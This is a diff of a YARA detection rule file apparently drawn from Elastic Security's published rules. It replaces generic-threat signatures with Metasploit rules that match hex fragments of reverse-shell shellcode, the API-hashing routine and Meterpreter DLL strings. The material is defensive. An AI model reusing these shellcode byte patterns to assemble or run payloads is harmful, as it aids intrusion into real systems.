-		$a1 = { 55 8B EC 51 8B 45 0C 48 89 45 FC EB 07 8B 45 FC 48 89 45 FC 83 7D FC 00 7C 0B 8B 45 08 03 45 FC C6 00 00 EB E8 C9 C3 55 8B EC 83 EC 0C 8B 45 0C 89 45 FC 8B 45 08 3B 45 10 76 2F 8B 45 FC 89 45 }
+		$a1 = { 48 92 31 C9 51 51 49 89 C9 4C 8D 05 0? 00 00 00 89 CA 48 83 EC 20 FF D0 48 83 C4 30 C3 }
 
 	condition:
-		all of them
+		$a1
 }
-rule ELASTIC_Windows_Generic_Threat_F45B3F09 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_24338919 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies metasploit wininet reverse shellcode. Also used by other tools (like beacon)."
 		author = "Elastic Security"
-		id = "f45b3f09-4203-41f7-870e-d8ef5126c391"
-		date = "2024-03-05"
-		modified = "2024-06-12"
+		id = "24338919-8efe-4cf2-a23a-a3f22095b42d"
+		date = "2021-03-23"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3164-L3182"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "577f1dbd76030c7e44ed28c748551691d446e268189af94e1fa1545f06395178"
-		logic_hash = "9b01ad1271cc5052a793e5a885aa7289cbaea4a928f60d64194477c3036496ed"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L81-L99"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "af8cceebdebca863019860afca5d7c6400b68c8450bc17b7d7b74aeab2d62d16"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dfa72e0780e895ab5aa2369a425c64144e9bd435e55d8a0fefbe08121ae31df5"
-		severity = 50
+		fingerprint = "ac76190a84c4bdbb6927c5ad84a40e2145ca9e76369a25ac2ffd727eefef4804"
+		threat_name = "Windows.Trojan.Metasploit"
+		severity = 80
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 28 33 ED 44 8B ED 48 89 6C 24 78 44 8B FD 48 89 AC 24 88 00 00 00 44 8B F5 44 8B E5 E8 43 04 00 00 48 8B F8 8D 75 01 ?? ?? ?? ?? ?? 66 39 07 75 1A 48 63 47 3C 48 8D 48 C0 }
+		$a1 = { 68 6E 65 74 00 68 77 69 6E 69 54 68 4C 77 26 07 }
 
 	condition:
-		all of them
+		$a1
 }
-rule ELASTIC_Windows_Generic_Threat_3F390999 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_0F5A852D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies 64 bit metasploit wininet reverse shellcode. May also be used by other malware families."
 		author = "Elastic Security"
-		id = "3f390999-601f-464e-8982-09553adee303"
-		date = "2024-03-05"
-		modified = "2024-06-12"
+		id = "0f5a852d-cacd-43d7-8754-204b09afba2f"
+		date = "2021-04-07"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3184-L3202"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1b6fc4eaef3515058f85551e7e5dffb68b9a0550cd7f9ebcbac158dac9ababf1"
-		logic_hash = "462a7a38ebbb39515ac2c0a10353660d0cadcfb99360adcd200edc1db5a716ba"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "11cddf2191a2f70222a0c8c591e387b4b5667bc432a2f686629def9252361c1d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ccfd5fb305ea48d66f299311c5332587355258bdeeb25cb90c450e8e96df3052"
-		severity = 50
+		fingerprint = "97daac4249e85a73d4e6a4450248e59e0d286d5e7c230cf32a38608f8333f00d"
+		threat_name = "Windows.Trojan.Metasploit"
+		severity = 80
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 10 48 89 D9 48 8B 59 10 FF 61 08 0F 1F 40 00 49 89 CB C3 49 89 CA 41 8B 43 08 41 FF 23 C3 90 48 C1 E1 04 31 C0 81 E1 F0 0F 00 00 49 01 C8 4C 8D 0C 02 4E 8D 14 00 31 C9 45 8A 1C 0A 48 }
+		$a = { 49 BE 77 69 6E 69 6E 65 74 00 41 56 48 89 E1 49 C7 C2 4C 77 26 07 FF D5 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Abd1C09D : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_C9773203 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families."
 		author = "Elastic Security"
-		id = "abd1c09d-ec66-45ee-b435-302c736cc1f9"
-		date = "2024-03-05"
-		modified = "2024-06-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3204-L3222"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3ff09d2352c2163465d8c86f94baa25ba85c35698a5e3fbc52bc95afc06b7e85"
-		logic_hash = "80e6f317e5cd91cb3819e9251efc8c96218071bec577a38c8784826dd4a657cb"
+		id = "c9773203-6d1e-4246-a1e0-314217e0207a"
+		date = "2021-04-07"
+		modified = "2021-08-23"
+		reference = "https://github.com/rapid7/metasploit-framework/blob/04e8752b9b74cbaad7cb0ea6129c90e3172580a2/external/source/shellcode/windows/x64/src/block/block_api.asm"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L121-L140"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "1d6503ccf05b8e8b4368ed0fb2e57aa2be94151ce7e2445b5face7b226a118e9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2f75d8fa11f67f983e40ada50a07e8a6f1b6dfc663524e35a6526381e939d39f"
-		severity = 50
+		fingerprint = "afde93eeb14b4d0c182f475a22430f101394938868741ffa06445e478b6ece36"
+		threat_name = "Windows.Trojan.Metasploit"
+		severity = 10
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 83 EC 0C 8B D1 53 56 57 8B 7D 0C 83 FF 08 77 1A 85 FF 74 16 8B 5D 08 8B 4A 14 8B 72 10 2B CE 8D 04 3B 3B C1 72 11 C6 42 44 00 33 C0 33 D2 5F 5E 5B 8B E5 5D C2 08 00 0F 57 C0 66 0F 13 }
+		$a = { 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_B7870213 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_Dd5Ce989 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Meterpreter DLL used by Metasploit"
 		author = "Elastic Security"
-		id = "b7870213-e235-4b2d-83c1-e3c7c486ee8d"
-		date = "2024-03-05"
-		modified = "2024-06-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3224-L3242"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "04cb0d5eecea673acc575e54439398cc00e78cc54d8f43c4b9bc353e4fc4430d"
-		logic_hash = "79b8385543def42259cd9c09d4d7059ff6bb02a9e87cff1bc0a8861e3b333c5f"
+		id = "dd5ce989-3925-4e27-97c1-3b8927c557e9"
+		date = "2021-04-14"
+		modified = "2021-08-23"
+		reference = "https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L142-L164"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "86cf98bf854b01a55e3f306597437900e11d429ac6b7781e090eeda3a5acb360"
+		logic_hash = "5c094979be1cd347ffee944816b819b6fbb62804b183a6120cd3a93d2759155b"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c087f84c8572dba64da62c9f317969cbce46e78656e0a75489788add787c2781"
-		severity = 50
+		fingerprint = "4fc7c309dca197f4626d6dba8afcd576e520dbe2a2dd6f7d38d7ba33ee371d55"
+		threat_name = "Windows.Trojan.Metasploit"
+		severity = 90
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 75 28 6B 6E 4E 30 30 30 31 30 32 30 33 30 34 30 35 30 36 30 37 30 38 30 39 31 30 31 31 31 32 31 33 31 34 31 35 31 36 31 37 31 38 31 39 32 30 32 31 32 32 32 33 32 34 32 35 32 36 32 37 32 38 32 39 33 30 33 31 33 32 33 33 33 34 33 35 33 36 33 37 33 38 33 39 34 30 34 31 34 32 34 33 34 34 34 35 34 36 34 37 34 38 34 39 35 30 35 31 35 32 35 33 35 34 35 35 35 36 35 37 35 38 35 39 36 30 36 31 36 32 36 33 36 34 36 35 36 36 36 37 36 38 36 39 37 30 37 31 37 32 37 33 37 34 37 35 37 36 37 37 37 38 37 39 38 30 38 31 38 32 38 33 38 34 38 35 38 36 38 37 38 38 38 39 39 30 39 31 39 32 39 33 39 34 39 35 39 36 39 37 39 38 39 39 }
+		$a1 = "metsrv.x64.dll" fullword
+		$a2 = "metsrv.dll" fullword
+		$b1 = "ReflectiveLoader"
 
 	condition:
-		all of them
+		1 of ($a*) and 1 of ($b*)
 }
-rule ELASTIC_Windows_Generic_Threat_2Bba6Bae : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_96233B6B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies another 64 bit API hashing function used by Metasploit."
 		author = "Elastic Security"
-		id = "2bba6bae-7c6a-4b89-83d8-0656d7863820"
-		date = "2024-03-05"
-		modified = "2024-06-12"
+		id = "96233b6b-d95a-4e0e-8f83-f2282a342087"
+		date = "2021-06-10"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3244-L3262"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d9955c716371422750b77d64256dade6fbd028c8d965db05c0d889d953480373"
-		logic_hash = "59e4b173c21b0ab161adf8d89f253f21403bca706b6bf40b3da00697f87dd509"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L166-L185"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e7a2d966deea3a2df6ce1aeafa8c2caa753824215a8368e0a96b394fb46b753b"
+		logic_hash = "09a2b9414a126367df65322966b671fe7ea963cd65ef48e316c9d139ee502d31"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "85dc02cb74c481b5ecb144280827add9665138f0b5d479db5468a94b41e662a3"
-		severity = 50
+		fingerprint = "40032849674714bc9eb020971dd9f27a07b53b8ff953b793cb3aad136256fd70"
+		threat_name = "Windows.Trojan.Metasploit"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 36 35 20 37 39 20 34 31 20 36 39 20 36 34 20 34 38 20 36 43 20 37 37 20 34 39 20 36 41 20 36 46 20 36 37 20 34 39 20 36 42 20 37 30 20 35 38 20 35 36 20 34 33 20 34 39 20 37 33 20 34 39 20 34 33 20 34 41 20 36 38 20 36 32 20 34 37 20 36 33 20 36 39 20 34 46 20 36 39 20 34 31 20 36 39 20 35 32 20 35 37 20 35 32 20 34 35 20 35 35 20 33 30 20 34 35 20 36 39 20 34 39 20 34 38 20 33 30 }
+		$a = { 89 E5 31 D2 64 8B 52 30 8B 52 0C 8B 52 14 8B 72 28 31 FF 0F B7 4A 26 31 C0 AC 3C 61 7C 02 2C 20 C1 CF 0D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_4Db75701 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_4A1C4Da8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Identifies Metasploit 64 bit reverse tcp shellcode."
 		author = "Elastic Security"
-		id = "4db75701-e7d6-4231-ba00-e127da90bfce"
-		date = "2024-03-05"
-		modified = "2024-06-12"
+		id = "4a1c4da8-837d-4ad1-a672-ddb8ba074936"
+		date = "2021-06-10"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3264-L3282"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fa7847d21d5a350cf96d7ecbcf13dce63e6a0937971cfb479700c5b31850bba9"
-		logic_hash = "65f7d15ed551e069b30ce6c0a5f15d01d24b8b29727950269c9956fcf6dc799d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L187-L206"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9582d37ed9de522472abe615dedef69282a40cfd58185813c1215249c24bbf22"
+		logic_hash = "9d3a3164ed1019dcb557cf20734a81be9964a555ddb2e0104f7202880b2ed177"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d8637b329a212bf37367ba3cc3acf65c9b511d1f06d689d792c519324459530d"
-		severity = 50
+		fingerprint = "7a31ce858215f0a8732ce6314bfdbc3975f1321e3f87d7f4dc5a525f15766987"
+		threat_name = "Windows.Trojan.Metasploit"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 48 81 EC D0 02 00 00 80 79 20 08 41 8B F1 45 8B F0 4C 8B FA 48 8B F9 0F 84 3A 01 00 00 48 89 58 10 48 89 68 18 43 8D 04 40 48 63 C8 ?? ?? ?? ?? ?? 48 8D 8C 24 20 02 00 00 }
+		$a = { 6A 10 56 57 68 99 A5 74 61 FF D5 85 C0 74 0A FF 4E 08 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_54A914C9 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_91Bc5D7D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "54a914c9-1b00-4cea-9b82-f7ed1df1305f"
-		date = "2024-03-25"
-		modified = "2024-06-12"
+		id = "91bc5d7d-31e3-4c02-82b3-a685194981f3"
+		date = "2021-08-02"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3284-L3302"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c418c5ad8030985bb5067cda61caba3b7a0d24cb8d3f93fc09d452fbdf4174ec"
-		logic_hash = "0cc3797564b4c722423f915493e07b0e0fec3085e7a535f9914f82d73c797bed"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L208-L226"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0dd993ff3917dc56ef02324375165f0d66506c5a9b9548eda57c58e041030987"
+		logic_hash = "74154902b03c36a4ee9bc54ae9399bae9e6afb7fe8d0fe232b88250afc368d6f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d3f4083c96130031ce9656ea31bf0914080c88f09c05f8b1168c60487af80c9b"
-		severity = 50
+		fingerprint = "8848a3de66a25dd98278761a7953f31b7995e48621dec258f3d92bd91a4a3aa3"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 20 48 89 CB 48 8B 43 08 4C 8B 48 30 4D 85 C9 74 16 48 8D 4B 10 0F B6 D2 48 83 C4 20 5B 5E 5F 5D 41 5C 49 FF E1 66 90 44 0F B6 40 10 41 80 F8 16 0F 84 81 00 00 00 41 80 F8 18 74 0B 48 }
+		$a = { 49 BE 77 73 32 5F 33 32 00 00 41 56 49 89 E6 48 81 EC A0 01 00 00 49 89 E5 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_38A88967 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_A91A6571 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "38a88967-db0e-4d68-9295-9108cbc98fb9"
-		date = "2024-03-25"
-		modified = "2024-06-12"
+		id = "a91a6571-ae2d-4ab4-878b-38b455f42c01"
+		date = "2022-06-08"
+		modified = "2022-09-29"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3304-L3322"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6e425eb1a27c4337f05d12992e33fe0047e30259380002797639d51ef9509739"
-		logic_hash = "ddbdb1c39a07141d83173504214c889aff75487570d906413ebc6f262fedf9ae"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L228-L246"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ff7795edff95a45b15b03d698cbdf70c19bc452daf4e2d5e86b2bbac55494472"
+		logic_hash = "cc59320ba9f8907d1d9b9dc120d8b4807b419e49c55be1fd5d2cdbb0c5d4e5cc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1fef2c4c2899bbf9f45732d23654f6437658de2c4dc78dc3d1ff5440b5c2cbcf"
-		severity = 50
+		fingerprint = "e372484956eab80e4bf58f4ae1031de705cb52eaefa463aa77af7085c463638d"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 60 E8 00 00 00 00 5B ?? ?? ?? ?? ?? ?? 8B 75 08 8B 7D 0C AD 50 53 89 C1 29 DB 29 C0 AC C1 E3 04 01 C3 AA 89 D8 ?? ?? ?? ?? ?? 85 C0 74 07 89 C2 C1 EA 18 31 D3 F7 D0 21 C3 E2 DF 87 DA }
+		$a = { FC 48 83 E4 F0 E8 CC 00 00 00 41 51 41 50 52 48 31 D2 51 56 65 48 8B 52 60 48 8B 52 18 48 8B 52 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_E8Abb835 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_B29Fe355 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "e8abb835-f0c1-4e27-a0ca-3a3cae3362df"
-		date = "2024-03-26"
-		modified = "2024-06-12"
+		id = "b29fe355-b7f8-4325-bf06-7975585f3888"
+		date = "2022-06-08"
+		modified = "2022-09-29"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3324-L3342"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e42262671325bec300afa722cefb584e477c3f2782c8d4c6402d6863df348cac"
-		logic_hash = "0ad56b8c741a79a600a0d5588c4e8760a6d19fef72ff7814a00cfb84a90f23aa"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L248-L268"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4f0ab4e42e6c10bc9e4a699d8d8819b04c17ed1917047f770dc6980a0a378a68"
+		logic_hash = "7a2189b59175acb66a7497c692a43c413a476f5c4371f797bf03a8ddb550992c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ca8c2f4b16ebe1bb48c91a536d8aca98bed5592675eff9311e77d7e06dfe3c5b"
-		severity = 50
+		fingerprint = "a943325b7a227577ccd45748b4e705288c5b7d91d0e0b2a115daeea40e1a2148"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 48 81 EC 28 05 00 00 66 44 0F 7F 84 24 10 05 00 00 66 0F 7F BC 24 00 05 00 00 0F 29 B4 24 F0 04 00 00 44 89 44 24 74 48 89 94 24 C8 00 00 00 48 89 CB 48 C7 44 24 78 00 00 00 00 0F 57 F6 0F 29 }
+		$a1 = "%04x-%04x:%s" fullword
+		$a2 = "\\\\%s\\pipe\\%s" fullword
+		$a3 = "PACKET TRANSMIT" fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_492D7223 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_66140F58 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "492d7223-4e03-4a77-83e5-ed85e052f846"
-		date = "2024-03-26"
-		modified = "2024-06-12"
+		id = "66140f58-1815-4e21-8544-24fed74194f1"
+		date = "2022-08-15"
+		modified = "2022-09-29"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3344-L3362"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c0d9c9297836aceb4400bcb0877d1df90ca387f18f735de195852a909c67b7ef"
-		logic_hash = "9fb2a00def86ed8476d906514a0bc630e28093ac37d757541d8801d2c8e0efc3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L270-L288"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "01a0c5630fbbfc7043d21a789440fa9dadc6e4f79640b370f1a21c6ebf6a710a"
+		logic_hash = "0a855b7296f7cea39cc5d57b239d3906133ea43a0811ec60e4d91765cf89aced"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "71a1bce450522a0a6ff38d2f84ab91e2e9db360736c2f7233124a0b0dc4d0431"
-		severity = 50
+		fingerprint = "79879b2730e98f3eddeca838dff438d75a43ac20c0da6a4802474ff05f9cc7a3"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 89 E5 53 57 56 83 EC 24 ?? ?? ?? ?? ?? 31 C9 85 C0 0F 94 C1 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01 C8 40 FF E0 }
+		$a = { FC 48 83 E4 F0 E8 CC 00 00 00 41 51 41 50 52 48 31 D2 51 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Ea296356 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_2092C42A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Metasploit (Windows.Trojan.Metasploit)"
 		author = "Elastic Security"
-		id = "ea296356-6533-4364-8ad1-3bbb538e3d61"
-		date = "2024-05-22"
-		modified = "2024-06-12"
+		id = "2092c42a-793b-4b0e-868b-9a39c926f44c"
+		date = "2023-05-09"
+		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L3364-L3382"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4c48a0fe90f3da7bfdd32961da7771a0124b77e1ac1910168020babe8143e959"
-		logic_hash = "73ffd16f0047cd57311853aa9083fc21427f2eb21646c6edc7b8def86da90f90"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Metasploit.yar#L290-L309"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e47d88c11a89dcc84257841de0c9f1ec388698006f55a0e15567354b33f07d3c"
+		logic_hash = "83c46c6b957f10d406ea9985c518eb2fba3e82b9023bfdefa8bdd4be7fb67826"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "a17ca2f95473517428867b4f68b8275ae84ef1ee39421e76887077e206b1ed51"
-		severity = 50
+		fingerprint = "4f17bfb02d3ac97e48449b6e30c9b07f604c13d5e12a99af322853c5d656ee88"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 83 EC 0C 53 56 8B 75 08 8B C6 89 55 FC 99 2B C2 89 4D F8 8B D8 8B 45 FC 57 D1 FB 33 FF 8D 14 30 89 55 08 85 DB 7E 36 4A 0F 1F 44 00 00 8A 0C 38 8D 52 FF 0F B6 42 01 8B 75 FC 0F B6 80 }
+		$a1 = { 65 6E 61 62 6C 65 5F 6B 65 79 62 6F 61 72 64 5F 69 6E 70 75 74 }
+		$a2 = { 01 04 10 49 83 C2 02 4D 85 C9 75 9C 41 8B 43 04 4C 03 D8 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Aeaeb5Cf : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Metasploit_46E1C247 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
